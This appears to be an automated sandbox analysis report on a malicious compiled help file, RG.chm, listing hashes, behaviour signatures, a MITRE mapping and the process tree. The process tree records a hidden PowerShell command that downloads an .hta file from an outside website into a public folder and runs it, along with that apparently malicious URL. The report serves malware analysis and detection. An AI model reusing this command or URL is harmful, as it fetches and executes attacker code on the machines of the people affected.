83a1b442bf9761f33881468eb8be300e18c5c12691eb52681efee2c4c5842a06

Analysis

max time kernel
30s
max time network
33s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
21-03-2023 10:42

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General

Target

RG.chm
Size

190KB
MD5

9d9a0a119044c6a83d533a1941bb64c5
SHA1

279387ccf49c5f71c99f8b89b333be4a70f6cab6
SHA256

83a1b442bf9761f33881468eb8be300e18c5c12691eb52681efee2c4c5842a06
SHA512

31c4edbcff416df4cada81dbd1e3bdc752cb8a74c837787feba01d9e93e00970b15efac6bf70548b8ba1811cf7e7522bbd64cfe0572d5619759b8069b5b399b2
SSDEEP

3072:Xg4C8YLEo5xuIvDocDWjc/pgDXQgKpacezvRBDobwrArHMp1G6/AirUIKX6MA:XpYIW0UY8pTxp/mjmqArYRQIKX5A

Score

1^/10

Malware Config

Signatures

Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

hh.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000\Software\Microsoft\Internet Explorer\Main hh.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

520 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 520 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

hh.exe

pid process

1700 hh.exe
1700 hh.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000\Software\Microsoft\Internet Explorer\Main	hh.exe

pid	process
520	powershell.exe

description	pid	process
Token: SeDebugPrivilege	520	powershell.exe

pid	process
1700	hh.exe
1700	hh.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

hh.exe

description	pid	process	target process
PID 1700 wrote to memory of 520	1700	hh.exe	powershell.exe
PID 1700 wrote to memory of 520	1700	hh.exe	powershell.exe
PID 1700 wrote to memory of 520	1700	hh.exe	powershell.exe

C:\Windows\hh.exe
"C:\Windows\hh.exe" C:\Users\Admin\AppData\Local\Temp\RG.chm
1⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1700

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden wget 'https://meubooking.com.br/2023/reservations.php?file=edce4301c8d01cf9b904be.html' -OutFile 'C:\Users\Public\win32.hta'; Start-Process 'C:\Users\Public\win32.hta'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:520

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/520-80-0x000000001B4A0000-0x000000001B782000-memory.dmp

Filesize
2.9MB

Download
memory/520-81-0x0000000001D70000-0x0000000001D78000-memory.dmp

Filesize
32KB

Download
memory/520-82-0x00000000029B0000-0x0000000002A30000-memory.dmp

Filesize
512KB

Download
memory/520-83-0x00000000029B0000-0x0000000002A30000-memory.dmp

Filesize
512KB

Download
memory/520-84-0x00000000029B0000-0x0000000002A30000-memory.dmp

Filesize
512KB

Download
memory/520-85-0x00000000029BB000-0x00000000029F2000-memory.dmp

Filesize
220KB

Download
memory/1700-73-0x000007FFFFF80000-0x000007FFFFF90000-memory.dmp

Filesize
64KB

Download